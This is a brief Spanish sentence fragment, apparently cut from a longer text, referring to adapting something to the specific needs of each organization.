a las necesidades especificas de cada organizacion.
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